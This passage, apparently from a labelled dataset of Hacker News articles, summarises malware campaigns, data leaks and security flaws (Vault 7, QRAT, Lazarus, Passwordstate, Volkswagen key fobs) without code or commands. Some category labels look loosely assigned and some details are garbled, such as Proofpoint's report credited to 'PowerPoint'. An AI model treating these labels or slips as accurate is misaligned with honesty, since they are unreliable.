In March 2017, during when WikiLeaks began releasing some of the CIA's hacking tools, the FBI agents searched Schulte's apartment as part of an ongoing investigation to find the mastermind behind the Vault 7 leaks.
However, instead, the FBI found images of children being molested by adults on a server he created in 2009 while he was a student at the University of Texas. The maximum penalty for this is 130 years in prison.

Schulte was arrested in August 2017 with possession of child pornography, but prosecutors had been unable to bring charges of ""disclosure of the classified information"" against him until now.

However, now the revised indictment includes 13 counts of charges related to the theft and disclosure of the classified information to WikiLeaks and his possession of child pornography.

Here's the list of charges against him:
illegal gathering of national defense information,
illegal transmission of lawfully possessed national defense information,
illegal transmission of unlawfully possessed national defense information,
unauthorized access to a computer to obtain classified information,
theft of Government property,
unauthorized access of a computer to obtain information from a Department or Agency of the United States,
causing transmission of a harmful computer program, information, code, or command,
making material false statements to representatives of the FBI,
obstruction of justice,
receipt of child pornography,
possession of child pornography,
transportation of child pornography, and
copyright infringement.
Schulte has pleaded not guilty to the child pornography charges and has repeatedly denied any of his involvement in the Vault 7 case.

The Vault 7 release was one of the most significant leaks in the CIA's history, exposing secret cyber weapons and spying techniques that the United States used to monitor or break into computers, mobile phones, televisions, webcams, video streams, and more.

For more information on the hacking tools and techniques, you can head on to our previous coverage of the Vault 7 leaks.

",Cyber_Attack
Online security losing cyber battle !,https://thehackernews.com/2011/02/online-security-losing-cyber-battle.html,"THE internet was never meant to do sensitive banking transactions, cyber criminals are winning the war against online security and Australia's easy going nature is making us vulnerable targets to ever-more sophisticated internet thugs.

That was San Francisco-based internet security watcher and author Joseph Menn's assessment of the current state of the internet before he spoke to the Internet Industry Association's gala dinner in Sydney last night.
The only glimmer of hope was that people were becoming more aware of the risks involved with the internet - which he described as a ""loaded gun"" - but we have to be even more savvy if we are not to be become a cyber crime victim.
Mr Menn said when he interviewed the former head of the US Department of Justice's Cyber Crime Unit she said half of all credit cards were in the hands of criminals.
""And if your credit card details weren't in criminals' hands it was only because they hadn't got around to it yet,"" he said yesterday.
""That's a big problem.""
Although more than 90 per cent of consumers' money lost to fraud is reimbursed by the banks.
""The banks then pass that cost back to the merchants,"" Mr Mann explained.
""And the merchants raise everybody's prices just a little bit.
""There aren't a lot of horror stories - there are some where a person wasn't able to buy a house because their credit record was ruined by a criminal somewhere.
""Instead there is a drain on the economy because all the prices go up.
""The pain on the economy is so gradual that no one really takes notice.""
Mr Menn said he believed the internet had inherent structural flaws which made it incredibly difficult to make the network secure.
""The internet was never designed for financial transactions or the cloud services that companies keep their crown jewels,"" he said.
""It's a mess - it's the most open network in the history of the universe and we are defending it against some of the worst and best financed criminal groups.
""And we are losing.""
However, he did say that individuals who - like it or not, have to be their own network administrators - have to make more of an effort to secure their personal computers.
""More than half of PCs have malware,"" Mr Menn said.
""The percentage of the really bad stuff that can capture credit card details is small but it is the fast-growing segment of malware.
""More than 90 per cent of operating systems are not running fully patched systems and fully up to date applications.
""That's not good.""
And Australians, more than many others seem to take their easy-going nature online which could leave them vulnerable, he said.
The security watcher said governments would take more steps to protect citizens and some of those steps would not be popular before singling out the Federal Government's internet filter and saying that it was clearly not popular and would not stop cyber criminals in any way.

News Source : Google

",Malware
Facebook Admits Sharing Users' Data With 61 Tech Companies,https://thehackernews.com/2018/07/facebook-data-privacy.html,"Facebook has admitted that the company gave dozens of tech companies and app developers special access to its users' data after publicly saying it had restricted outside companies to access such data back in 2015.

It's an unusual clear view of how the largest social networking site manages your personal information.

During the Cambridge Analytica scandal revealed March this year, Facebook stated that it already cut off third-party access to its users' data and their friends in May 2015 only.

However, in a 747-page long document [PDF] delivered to Congress late Friday, the social networking giant admitted that it continued sharing data with 61 hardware and software makers, as well as app developers after 2015 as well.

The disclosure comes in response to hundreds of questions posed to Facebook CEO Mark Zuckerberg by members of Congress in April about its company's practices with data of its billions of users.

The Washington Post reported that the company submitted the documents, representing Facebook's most granular explanation of exemption, within hours of a Friday night deadline.

Among other things, the documents revealed that Facebook granted a ""one-time"" six-month extension to 61 companies including AOL, Nike, United Parcel Service and dating app Hinge to come into compliance with Facebook's new privacy policy on user data.

Besides this, there are at least five other companies that theoretically may have accessed limited friends' data, as a result of API access that they were granted as part of a Facebook beta test, the social media added.

The documents also acknowledged that Facebook partnered with 52 domestic and international companies, including U.S. tech giants Apple, Microsoft, Spotify, Amazon, Sony, Acer, China-based Huawei and Alibaba, and device-makers Samsung and BlackBerry.

The social network shared information about its users with these companies to help them create their own versions of Facebook or Facebook features for their devices, well of course, ""under the terms and policies they provide to their users.""
""We engaged companies to build integrations for a variety of devices, operating systems, and other products where we and our partners wanted to offer people a way to receive Facebook or Facebook experiences,"" the document reads. ""These integrations were built by our partners, for our users, but approved by Facebook.""
However, Facebook also said the company has already discontinued 38 of these 52 partnerships and is going to end its partnership with an additional seven by the end of this July and another one by the end of this October.

Whereas, partnerships with three companies will continue, which includes Apple, Amazon, and Tobii, an accessibility app that enables people with ALS to access Facebook, with whom the company has agreements that extend beyond October 2018.

The document comes months after it revealed that personal data of 87 million Facebook users were harvested by Cambridge Analytica, a political consultancy firm, who reportedly helped Donald Trump win the US presidency in 2016.

The revelation led to public outcry for lawmakers to hold the social network accountable for its data-management practices, raising questions about whether Facebook can be trusted to protect the personal data of its 2 billion users.

Facebook's admission to the extensions, as Post noted, is ""the fullest to date regarding reports that Facebook [had continued sharing] user data with some companies for years.""

Just three days ago, we covered a separate incident, wherein a popular third-party quiz app that runs on Facebook app platform exposed data of up to 120 million Facebook users to hackers.

",Data_Breaches
New Facebook Worm installing Zeus Bot in your Computer,https://thehackernews.com/2011/11/new-facebook-worm-installing-zeus-bot.html,"New Facebook Worm installing Zeus Bot in your Computer

Recently We Expose about 25 Facebook phishing websites and also write about biggest Facebook phishing in French which steal more then 5000 usernames and passwords. Today another new attack on Facebook users with Zeus Bot comes in action. The researchers of Danish security firm CSIS, has spotted a worm spreading within the Facebook platform. A new worm has popped up on Facebook, using apparently stolen user credentials to log in to victims' accounts and then send out malicious links to their friends. The worm also downloads and installs a variety of malware on users' machines, including a variant of the Zeus bot.

If followed, the link takes the potential victim to a page where he or she are offered what appears to be a screensaver for download. Unfortunately, it is not a JPG file, but an executable (b.exe). Once run, it drops a cocktail of malicious files onto the system, including ZeuS, a popular Trojan spyware capable of stealing user information from infected systems. The worm is also found to have anti-VM capabilities, making it useless to execute and test in a virtual environment, such as Oracle VM VirtualBox and VMWare.

Zeus is a common tool in the arsenal of many attackers these days, and is used in a wide variety of attacks and campaigns now. It used to be somewhat less common, but the appearance of cracked versions of the Zeus code has made it somewhat easier for lower-level attackers to get their hands on the malware. Zeus has a range of capabilities, and specializes in stealing sensitive user data such as banking credendtials, from infected machines.

""The worm carries a cocktail of malware onto your machine, including a Zbot/ZeuS variant which is a serious threat and stealing sensitive information from the infected machine,"" warn the researchers.The worm is hosted on a variety of domains, so the link in the malicious message may vary. Other servers are used to collect the data sent by the aforementioned malware and to serve additional malicious software.

This type of thing is very rare to just send to your email without you requesting it so I would advise anyone who thinks that you may have seen an email like this to delete it and mark it as spam right away.

",Vulnerability
Hackers Using Fake Trump's Scandal Video to Spread QNode Malware,https://thehackernews.com/2021/01/hackers-using-fake-trumps-scandal-video.html,"Cybesecurity researchers today revealed a new malspam campaign that distributes a remote access Trojan (RAT) by purporting to contain a sex scandal video of U.S. President Donald Trump.
The emails, which carry with the subject line ""GOOD LOAN OFFER!!,"" come attached with a Java archive (JAR) file called ""TRUMP_SEX_SCANDAL_VIDEO.jar,"" which, when downloaded, installs Qua or Quaverse RAT (QRAT) onto the infiltrated system.
""We suspect that the bad guys are attempting to ride the frenzy brought about by the recently concluded Presidential elections since the filename they used on the attachment is totally unrelated to the email's theme,"" Trustwave's Senior Security Researcher Diana Lopera said in a write-up published today.
The latest campaign is a variant of the Windows-based QRAT downloader Trustwave researchers discovered in August.
The infection chain starts with a spam message containing an embedded attachment or a link pointing to a malicious zip file, either of which retrieves a JAR file (""Spec#0034.jar"") that's scrambled using the Allatori Java obfuscator.
This first stage downloader sets up the Node.Js platform onto the system and then downloads and executes a second-stage downloader called ""wizard.js"" that's responsible for achieving persistence and fetching and running the Qnode RAT (""qnode-win32-ia32.js"") from an attacker-controlled server.
QRAT is a typical remote access Trojan with various features including, obtaining system information, performing file operations, and acquiring credentials from applications such as Google Chrome, Firefox, Thunderbird, and Microsoft Outlook.
What's changed this time around is the inclusion of a new pop-up alert that informs the victim that the JAR being run is a remote access software used for penetration testing. This also means the sample's malicious behavior only begins to manifest once the user clicks the ""Ok, I know what I am doing."" button.
""This pop-up is a little odd and is perhaps an attempt to make the application look legitimate, or deflect responsibility from the original software authors,"" Lopera noted.
Furthermore, the malicious code of the JAR downloader is split-up into different randomly-numbered buffers in an attempt to evade detection.
Other changes include an overall increase in the JAR file size and the elimination of the second-stage downloader in favor of an updated malware chain that immediately fetches the QRAT payload now called ""boot.js.""
For its part, the RAT has received its own share of updates, with the code now encrypted with base64 encoding, in addition to taking charge of persisting on the target system via a VBS script.
""This threat has been significantly enhanced over the past few months since we first examined it,"" Topera concluded, urging administrators to block the incoming JARs in their email security gateways.
""While the attachment payload has some improvements over previous versions, the email campaign itself was rather amateurish, and we believe that the chance this threat will be delivered successfully is higher if only the email was more sophisticated.""

",Cyber_Attack
Greedy North Korean Hackers Targeting Cryptocurrencies and Point-of-Sale Terminals,https://thehackernews.com/2017/12/lazarus-hacking-bitcoin.html,"The North Korean hacking group has turned greedy.

Security researchers have uncovered a new widespread malware campaign targeting cryptocurrency users, believed to be originated from Lazarus Group, a state-sponsored hacking group linked to the North Korean government.

Active since 2009, Lazarus Group has been attributed to many high profile attacks, including Sony Pictures Hack, $81 million heists from the Bangladesh Bank, and the latest — WannaCry.

The United States has officially blamed North Korea for global WannaCry ransomware attack that infected hundreds of thousands of computers across more than 150 countries earlier this year.

In separate news, security experts have blamed Lazarus group for stealing bitcoins worth millions from the South Korean exchange Youbit, forcing it to shut down and file for bankruptcy after losing 17% of its assets.

Researchers from security firm Proofpoint have published a new report, revealing a connection between Lazarus Group and a number of multistage cyber attacks against cryptocurrency users and point-of-sale systems.
""The group has increasingly focused on financially motivated attacks and appears to be capitalizing on both the increasing interest and skyrocketing prices for cryptocurrencies,"" the researchers said. ""The Lazarus Group's arsenal of tools, implants, and exploits is extensive and under constant development.""
After analyzing a large number of spear phishing emails with different attack vectors from multiple spear phishing campaigns, researchers discovered a new PowerShell-based reconnaissance implant from Lazarus Group arsenal, dubbed PowerRatankba.

Encryption, obfuscation, functionality, decoys, and command-and-control servers used by PowerRatankba closely resembles the original Ratankba implant developed by Lazarus Group.

The PowerRatankba implant is being spread using a massive email campaign through the following attack vectors:
Windows executable downloader dubbed PowerSpritz
Malicious Windows Shortcut (LNK) files
Several malicious Microsoft Compiled HTML Help (CHM) files
Multiple JavaScript (JS) downloaders
Macro-based Microsoft Office documents
Backdoored popular cryptocurrency applications hosted on fake websites
PowerRatankba, with at least two variants in the wild, acts as a first-stage malware that delivers a fully-featured backdoor (in this case, Gh0st RAT) only to those targeted companies, organizations, and individuals that have interest in cryptocurrency.
""During our research, we discovered that long-term sandboxing detonations of PowerRatankba not running cryptocurrency related applications were never infected with a Stage2 implant. This may indicate that the PowerRatankba operator(s) were only interested in infecting device owners with an obvious interest in various cryptocurrencies,"" reads the 38-page-long report [PDF] published by Proofpoint.
Once installed, Gh0st RAT allows cybercriminals to steal credentials for cryptocurrency wallets and exchanges.

It's notable that PowerRatankba and Gh0st RAT don't exploit any zero-day vulnerability; instead, Lazarus Group relies on mixed programming practices, like C&C communication over HTTP, use of Spritz encryption algorithm and the Base64-encoded custom encryptor.
""It is already well-known that Lazarus Group has targeted and successfully breached several prominent cryptocurrency companies and exchanges,"" the researchers say. ""From these breaches, law enforcement agencies suspect that the group has amassed nearly $100 million worth of cryptocurrencies based on their value today.""
Besides stealing cryptocurrencies, the group was also found infecting SoftCamp point-of-sale (POS) terminals, largely deployed in South Korea, using RatankbaPOS malware for stealing credit card data.

Since RatankbaPOS was sharing same C&C server as the PowerRatankba implant, it is believed that both the implants are linked to Lazarus Group.

The explosive growth in cryptocurrency values has motivated not only traders but also hackers to invest all their time and resources in making digital wealth.

More details about the new malware campaigns run by Lazarus Group can be found in the in-depth report [PDF], titled ""North Korea Bitten by Bitcoin Bug—Financially motivated campaigns reveal a new dimension of the Lazarus Group,"" published by PowerPoint on Wednesday.

",Cyber_Attack
How A Bug Hunter Forced Apple to Completely Remove A Newly Launched Feature,https://thehackernews.com/2017/01/apple-itunes.html,"Recently Apple released a new Feature for iPhone and iPad users, but it was so buggy that the company had no option other than rolling back the feature completely.

In November, Apple introduced a new App Store feature, dubbed ""Notify"" button — a bright orange button that users can click if they want to be alerted via iCloud Mail when any game or app becomes available on the App Store.

Vulnerability Lab's Benjamin Kunz Mejri discovered multiple vulnerabilities in iTunes's Notify feature and iCloud mail, which could allow an attacker to infect other Apple users with malware.
""Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources and persistent manipulation of affected or connected service module context,"" Mejri wrote in an advisory published Monday.
Here's How the Attack Works?

The attack involves exploitation of three vulnerabilities via iTunes and the App Store's iOS Notify function.

When you click on notify feature for any unreleased app, the function automatically retrieves information from your device, including your devicename value and primary iCloud email id, to alert you when the soon-to-launch app debuts.

However, this devicename parameter is vulnerable to persistent input validation flaw, which allows an attacker to insert malicious javascript payload into the devicename field that would get executed on the victim's device in the result after successful exploitation.

Moreover, the remote attacker can even set the victim's iCloud email as his/her primary email address, without any confirmation from the victim's side, and that's where the second flaw resides.

So, now whenever the unreleased app will be available, Apple will send an email to victim's address and since the attacker had set the victim's email address as his/her own primary email at the time of subscribing to the notification.

So, the victim will receive that email from Apple, which will include the malicious payload inserted by the attacker into the devicename field.

Here the malicious payload will get executed at the victim's side, as shown in screenshots, and that's the third flaw in Apple's email client which fails to check the content of its email sent to its users.

Successful exploitation of the vulnerabilities could allow the attacker to perform various actions, such as session hijacking.
""The security risk of the persistent input validation and mail encoding web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 5.8,"" Mejri wrote.
""Exploitation of the persistent input validation and mail encoding web vulnerability requires a low privileged apple (appstore/iCloud) account and low or medium user interaction.""
Mejri said he first prepared to exploit code for the Notify function back in September when Apple first unveiled this feature. Around December 15 when Super Mario Run was released on Apple App Store, he confirmed that his exploit worked just well.

Apple is reportedly aware of the issues and is in the middle of fixing them.

",Vulnerability
NASA SSL Digital Certificate hacked by Iranian Hackers,https://thehackernews.com/2012/05/nasa-ssl-digital-certificate-hacked-by.html,"NASA SSL Digital Certificate hacked by Iranian Hackers
Iranian hackers 'Cyber Warriors Team' announced in an online post that it compromised an SSL certificate belonging to NASA and subsequently accessed information on thousands of NASA researchers. A space agency representative revealed that they're currently investigating the incident.

The group said the certificate was compromised by exploiting an existing vulnerability within the portal's login system, but they didn't outline the entire attack. Once they had control over the certificate, they claim to have used it to ""obtain User information for thousands of NASA researcher With Emails and Accounts of other users [sic].""

""These incidents spanned a wide continuum from individuals testing their skill to break into NASA systems, to well-organized criminal enterprises hacking for profit, to intrusions that may have been sponsored by foreign intelligence services seeking to further their countries' objectives,"" Paul K. Martin wrote.

The attackers had full functional control over these networks. The Cyber Warriors Team (CWT) said in its post that it had written an HTTPS protocol scanner to find weaknesses, and had found an existing vulnerability in the NASA website, which was identified as that of NASA's Solicitation and Proposal Integrated Review and Evaluation System (NSPIRES) site.

",Malware
LinkedIn Hack Tool Exposes Users' Emails without Exploiting Any Vulnerability,https://thehackernews.com/2014/04/linkedin-hack-tool-exposes-users-emails.html,"A Free Chrome, Firefox and Safari web browser plugin floating around the web, called 'Sell Hack' allows users to view the hidden email address of any LinkedIn user, means anyone can grab email addresses that we use for professional purposes.

When installed, the 'Sell Hack' plugin will pop up a 'Hack In' button on LinkedIn profiles and further automatically mines email addresses of LinkedIn users.

NOT A SECURITY BREACH
It's not a Security breach, LinkedIn has confirmed that no LinkedIn data has been compromised, but rather this free extension rely on an algorithm that checks publicly available data in order to guess users' email addresses.

So without exploiting any loophole or vulnerability, Sell Hack is capable of predicting users' email addresses with OSINT (Open-Source Intelligence) techniques i.e. information collected from publicly available sources.

It is also possible that, the Sell Hack extension is gathering data from users who have installed it, allows plugin to watch your activity on the site and collect the information of any direct connection whose page you've decided to visit; so this way Sell Hack can cross-serve the collected data to other users.

LinkedIn users who have downloaded Sell Hack should uninstall it immediately, ""LinkedIn members who downloaded Sell Hack should uninstall it immediately and contact Sell Hack requesting that their data be deleted."" LinkedIn officials warned.

LINKEDIN IS NOT HAPPY
The Professional Social Network giant LinkedIn has decided to take legal action and publicly criticised Sell Hack in statements. LinkedIn pulled SellHack Team to the door of judiciary for disclosing the email IDs of users to the un-connected users.

""We are doing everything we can to shut Sell Hack down. On 31 March LinkedIn's legal team delivered Sell Hack a cease-and-desist letter as a result of several violations,"" a LinkedIn spokesman said.

IS IT LEGAL?
The Developers Sell Hack tool explained, ""The data we process is all publicly available. We just do the heavy lifting and complicated computing to save you time. We aren't doing anything malicious to a Social website. We think browser extensions are the best way to personalize an individual's web experience.""

On their website, Sell Hack answered, How does it work? ""If we don't received a validation response, we'll present a 'copy all' button to copy & paste the list for your own uses: i.e. check your own data sources or BCC email the entire list etc."" that Means, if service will not be able to guess the user's email address, it will ask you to enter your emails database for further match-search.

SOLUTION
Two days back LinkedIn has sent a cease-and-desist notice to Sell Hack for violating the LinkedIn Terms of Service and as a result the SellHack extension is no more working on the LinkedIn pages. ""SellHack plugin no longer works on LinkedIn pages,"" developers stated.

",Data_Breaches
Another Master Key vulnerability discovered in Android 4.3,https://thehackernews.com/2013/11/another-master-key-vulnerability.html,"Earlier this year, in the month of July it was first discovered that 99% of Android devices are vulnerable to a flaw called ""Android Master Key vulnerability"" that allow hackers to modify any legitimate and digitally signed application in order to transform it into a Trojan program that can be used to steal data or take control of the device.
The vulnerability was also responsibly disclosed to Google back in February by Bluebox and but the company did not fix the issue even with Android 4.3 Jelly Bean. Later, Google has also modified its Play Store's app entry process so that apps that have been modified using such exploit are blocked and can no longer be distributed via Play.

Then after a few days, in the last week of July this year, Android Security Squad, the China-based group also uncovered a second Android master key vulnerability similar to the first one.

Security researcher Jay Freeman has discovered yet another Master Key vulnerability in Android 4.3, which is very similar to the flaw reported by Android Security Squad in July.

Jay Freeman, perhaps better known as Saurik for Cydia Software, an application for iOS that enables a user to find and install software packages on jailbroken iOS Apple devices such as the iPhone.

He demonstrated the flaw with a proof of concept exploit, written in Python language.
On Android, all applications are signed by their developers using private cryptographic keys; it is by comparing the certificates used to verify these signatures that Android's package manager determines whether applications are allowed to share information, or what permissions they are able to obtain.

Even the system software itself is signed by the manufacturer of the device and the applications signed by that same key are thereby able to do anything that the system software can.

Like the previous master key bugs, Saurik's exploit allows a hacker to gain complete access to your Android device via a modified system APK, with its original cryptographic key being untouched.

This way the malware can obtain full access to Android system and all applications (and their data) with dangerous system permissions.

Users are advised to download apps or app updates only from trusted sources, preferably from official sources or app stores. Saurik has also updated his Cydia Impactor for Android to include a patch for this bug.

Recently, the source code for Android 4.4 was released in Android Open Source Project, which included a patch for all previously known Android Master Key vulnerabilities.

Update: We have updated the story, and made some correction after Saurik comment, 'the bug I am describing is a bug in Android 4.3, not Android 4.4. The fix for it was included in the code release for Android 4.4, and since it is now disclosed there is no harm to the open device community to describe the bug in public; devices that currently have no exploit are there by now exploitable.'

Thank you!

",Malware
Hackers Using Microsoft Build Engine to Deliver Malware Filelessly,https://thehackernews.com/2021/05/hackers-using-microsoft-build-engine-to.html,"Threat actors are abusing Microsoft Build Engine (MSBuild) to filelessly deliver remote access trojans and password-stealing malware on targeted Windows systems.
The actively ongoing campaign is said to have emerged last month, researchers from cybersecurity firm Anomali said on Thursday, adding the malicious build files came embedded with encoded executables and shellcode that deploy backdoors, allowing the adversaries to take control of the victims' machines and steal sensitive information.
MSBuild is an open-source build tool for .NET and Visual Studio developed by Microsoft that allows for compiling source code, packaging, testing, deploying applications.
In using MSBuild to filelessly compromise a machine, the idea is to stay under the radar and thwart detection, as such malware makes use of a legitimate application to load the attack code into memory, thereby leaving no traces of infection on the system and giving attackers a high level of stealth.
As of writing, only two security vendors flag one of the MSBuild .proj files (""vwnfmo.lnk"") as malicious, while a second sample (""72214c84e2.proj"") uploaded to VirusTotal on April 18 remains undetected by every anti-malware engine. The majority of the samples analyzed by Anomali were found to deliver the Remcos RAT, with a few others also delivering the Quasar RAT and RedLine Stealer.
Remcos (aka Remote Control and Surveillance software), once installed, grants full access to the remote adversary, its features ranging from capturing keystrokes to executing arbitrary commands and recording microphones and webcams, while Quasar is an open-source .NET-based RAT capable of keylogging, password stealing, among others. Redline Stealer, as the name indicates, is a commodity malware that harvests credentials from browsers, VPNs, and messaging clients, in addition to stealing passwords and wallets associated with cryptocurrency apps.
""The threat actors behind this campaign used fileless delivery as a way to bypass security measures, and this technique is used by actors for a variety of objectives and motivations,"" Anomali researchers Tara Gould and Gage Mele said. ""This campaign highlights that reliance on antivirus software alone is insufficient for cyber defense, and the use of legitimate code to hide malware from antivirus technology is effective and growing exponentially.""

",Malware
Car Thieves Can Unlock 100 Million Volkswagens With A Simple Wireless Hack,https://thehackernews.com/2016/08/hack-unlock-car-door.html,"In Brief
Some 100 Million cars made by Volkswagen are vulnerable to a key cloning attack that could allow thieves to unlock the doors of most popular cars remotely through a wireless signal, according to new research.

Next time when you leave your car in a parking lot, make sure you don't leave your valuables in it, especially if it's a Volkswagen.

What's more worrisome?

The new attack applies to practically every car Volkswagen has sold since 1995.

There are two distinct vulnerabilities present in almost every car sold by Volkswagen group after 1995, including models from Audi, Skoda, Fiat, Citroen, Ford and Peugeot.

Computer scientists from the University of Birmingham and the German engineering firm Kasper & Oswald plan to present their research [PDF] later this week at the Usenix security conference in Austin, Texas.

Attack 1 — Using Arduino-based RF Transceiver (Cost $40)

The first attack can be carried out using a cheap radio device that can be made for just $40 with a small control board and a radio receiver, but is capable of eavesdropping and recording the rolling code values used by keyless entry systems.

The code values are included in the signal sent every time a driver presses the key fob's buttons, which is then used together to emulate a key that is unique to every vehicle.

The researchers then managed to reverse engineer one component inside a Volkswagen's network and were able to extract a cryptographic key that is shared among millions of Volkswagen vehicles.

Now, combining the two supposedly secret keys, the researchers were able to clone the key fob and access to the car.
""With the knowledge of these keys, an adversary only has to eavesdrop a single signal from a target remote control,"" the researchers wrote in their paper. ""Afterwards, he can decrypt this signal, obtain the current UID and counter value, and create a clone of the original remote control to lock or unlock any door of the target vehicle an arbitrary number of times.""
Although the team did not reveal the components they used to extract the keys to prevent potential car hackers from exploiting the weakness.

However, they warned that if skilled hackers find and publicize those shared keys, each one could leave tens of Millions of cars vulnerable.

In past 20 years, just the four most common keys are used in all the 100 Million cars sold by Volkswagen. Only the most recent VW Golf 7 model and others that use unique keys are immune to the attack.

Attack 2 — Hijack with HiTag2 and A Radio Device in 60 Seconds

In the second attack, the team managed to attack a cryptographic scheme called HiTag2 -- decades old rolling code scheme but still used in Millions of vehicles, including Alfa Romeo, Chevrolet, Peugeot, Lancia, Opel, Renault, and Ford.

To carry out this attack, all a hacker needs is a radio setup similar to the one used in the above hack.

Using a radio device, the researchers were able to intercept and read a string of the coded signals (rolling code number that changes unpredictably with every button press) from the driver's key fob.

With the collection of rolling codes, the researchers discovered that flaws in the HiTag2 scheme would allow them to crack the cryptographic key in as little as one minute.

Since the above two attacks focus on unlocking cars rather than stealing them, the lead researcher Flavio Garcia told Wired these attacks might be combined with already exposed bugs in the HiTag2 and Megamos 'immobilizer' systems, allowing ""Millions of Volkswagens and other vehicles ranging from Audis to Cadillacs to Porsches to be driven by thieves.""

Also Read: RollJam — $30 Device That Unlocks Almost Any Car And Garage Door

This is not the first time this team of researchers has targeted Volkswagen, it discovered a way to start Volkswagen cars' ignitions in 2013, but had to withhold their findings for two years because VW Group threatened to sue them.

The researchers have reported the flaws to VW Group and agreed not to disclose the cryptographic keys, part numbers of vulnerable components, and how they reverse-engineered the processes.

Car hacking is a hot topic today. Recently, security researcher Benjamin Kunz Mejri disclosed zero-day flaws resided in the official BMW web domain and ConnectedDrive portal that allowed attackers to tamper remotely with BMW's In-Car Infotainment System.

Previous research demonstrated hackers capabilities to hack a car remotely and control its steering and brakes and to disable car's critical functions like airbags by exploiting security bugs affecting significant automobiles.

Keeping these risks in mind, in April this year, the Michigan state Senate proposed two bills that introduce life sentences in prison for people who hack into cars' electronic systems. Also, the FBI issued a public announcement warning people about the risks of car hacking.

So, folks, your cars are not a safe place.

",Vulnerability
Italian Intelligence agency CNAIPIC steals sensitive data from Indian Embassy,https://thehackernews.com/2011/08/italian-intelligence-agency-cnaipic.html,"Italian Intelligence Agency CNAIPIC steals sensitive data from Indian Embassy


Sensitive defence information appears to have been stolen from the Indian embassy here by an Italian intelligence agency during the past two years. If the documents released by Anonymous Hackers are to be believed, the Italian cyber police - National Anti-Crime Computer Centre for Critical Infrastructure Protection (CNAIPIC) - was widely hacking Indian embassy's letters with Russian defence firms.

Leaked Data which include the letters between the Indian embassy's Air Wing and a local company supplying spares for military aircraft. Izvestia said Italian cyber police had hacked on June 22, 2010 Deputy Air Attache D S Shekhavat's correspondence with Aviazapchast, a company specialising in the supply of aviation spares, complaining about delays in the shipment of 15 helicopter engines.

A reply from the Aviazapchast representative in India written on the same day was also hacked by the CNAIPIC. The Italian cyber police had also accessed correspondence of the aircraft engine manufacturer NPO Saturn and Ilyushin Aircraft with the Indian embassy in Moscow and the Air Headquarters in New Delhi.

Indian embassy's Counsellor Information Nutan Kapur Mahawar had no comments to offer on the report. The files put online reveal that besides the Indo- Russian defence cooperation the CNAIPIC widely targeted correspondence of Russian nuclear and hydrocarbon majors like 'Atomstroieksport' and 'Gazprom', Izvestia reported.

The Aviazapchast spokesman told the daily that there was no leakages from the company and the letters had been stolen from the Indians. Izvestia was inclined to believe in this as Indian embassy cellphone bills from local Beeline provider that were among the hacked documents accessed by it including the bill dated February 28, 2011, containing a printout of all telephone numbers called or SMSed by the Indian embassy staff.

Although from the report it was evident that Russian energy majors and not Indian embassy were the prime targets of the economic intelligence by the Italians, including on the construction of Bushehr nuclear power plant in Iran, but in the past the Indian mission here has been the target of cyber attack.

In April 2010, the Indian Embassy here has boosted its cyber security in the wake of a report about alleged Chinese cyber espionage by infecting scores of Indian government and defence related sites by malwares to steal the confidential information.

Then the US and Canada based Information Warfare Monitor and Shadowservers Foundation in their report 'Shadows in the Cloud' had traced China's Chengdu based servers of exfiltering sensitive information from the Indian computers, including Indian missions in Moscow, London and Washington. Commenting on the report, a section of Russia media had raised concerns about sensitive and secret information about Moscow and New Delhi's defence cooperation falling into the Chinese hands. At that time the Indian embassy here confirmed that at least two attacks were traced to Chinese servers, but denied leakage of any confidential information.

Source

",Malware
Passwordstate Warns of Ongoing Phishing Attacks Following Data Breach,https://thehackernews.com/2021/04/passwordstate-warns-of-ongoing-phishing.html,"Click Studios, the Australian software firm which confirmed a supply chain attack affecting its Passwordstate password management application, has warned customers of an ongoing phishing attack by an unknown threat actor.
""We have been advised a bad actor has commenced a phishing attack with a small number of customers having received emails requesting urgent action,"" the company said in an updated advisory released on Wednesday. ""These emails are not sent by Click Studios.""
Last week, Click Studios said attackers had employed sophisticated techniques to compromise Passwordstate's update mechanism, using it to drop malware on user computers. Only customers who performed In-Place Upgrades between April 20, 8:33 PM UTC, and April 22, 0:30 AM UTC are said to be affected.
While Passwordstate serves about 29,000 customers, the Adelaide-based firm maintained that the total number of impacted customers is very low. It's also urging users to refrain from posting correspondence from the company on social media, stating the actor behind the breach is actively monitoring such platforms for information pertaining to the attack in order to exploit it to their advantage for carrying out related intrusions.
The original attack was carried out via a trojanized Passwordstate update file containing a modified DLL (""moserware.secretsplitter.dll"") that, in turn, extracted retrieved a second-stage payload from a remote server so as to extract sensitive information from compromised systems. As a countermeasure, Click Studios released a hotfix package named ""Moserware.zip'' to help customers remove the tampered DLL and advised affected users to reset all passwords stored in the password manager.
The newly spotted phishing attack involves crafting seemingly legitimate email messages that ""replicate Click Studios email content"" — based on the emails that were shared by customers on social media — to push a new variant of the malware.
""The phishing attack is requesting customers to download a modified hotfix Moserware.zip file, from a CDN Network not controlled by Click Studios, that now appears to have been taken down,"" the company said. ""Initial analysis indicates this has a newly modified version of the malformed Moserware.SecretSplitter.dll, that on loading then attempts to use an alternate site to obtain the payload file.""
The Passwordstate hack is the latest high-profile supply-chain attack to come to light in recent months, highlighting how sophisticated threat groups are targeting software built by third parties as a stepping-stone to break into sensitive government and corporate computer networks.

",Cyber_Attack
Google Play Store Update Allows Apps to Silently Gain Control of Your Device,https://thehackernews.com/2014/06/google-play-store-update-allows-apps-to.html,"Google just made a huge change to the way application permissions work on Android devices which has left a potential door open to malicious app developers and hackers.

Google narrows down Android's 145 permissions into 13 broad categories and groups app permissions into 'groups of related permissions', likely for Android users to have an easier time dealing with app permissions.

Unfortunately, the new update has introduced a few potential security and privacy issues, as listed below:
hiding permissions behind the group names
auto-updating app with no warning for new permissions
According to new update, once a user approves an app's permissions, he actually approves the whole respective permission groups. For example, if an app want to read your incoming SMS messages, then it requires the ""Read SMS messages"" permission. But now installing an app, you are actually giving it access to all SMS-related permissions.

The app developer can then include additional permissions from 'SMS-related permissions Group', in a future update, which will not trigger any warning before installation.
Google explains, ""If you have automatic updates enabled, you won't need to review or accept these permissions as long as they are included in a permissions group you already accepted for that app.""
If your Android apps update automatically, then malicious developers can gain access to new dangerous permissions without your knowledge by abusing this mechanism, though a smart user could manually view all permissions in a dropdown before installation, but one out of thousands does that.
For example, as you can see in the above screenshots - I am installing FIFA's android app from Google Play Store and before installation the app is asking for group permissions in left image and actual group permissions are expanded in the right-side image.

Similarly, if you install any app with group permissions to read contacts, later that app can secretly gain permission to add or even change calendar entries too.

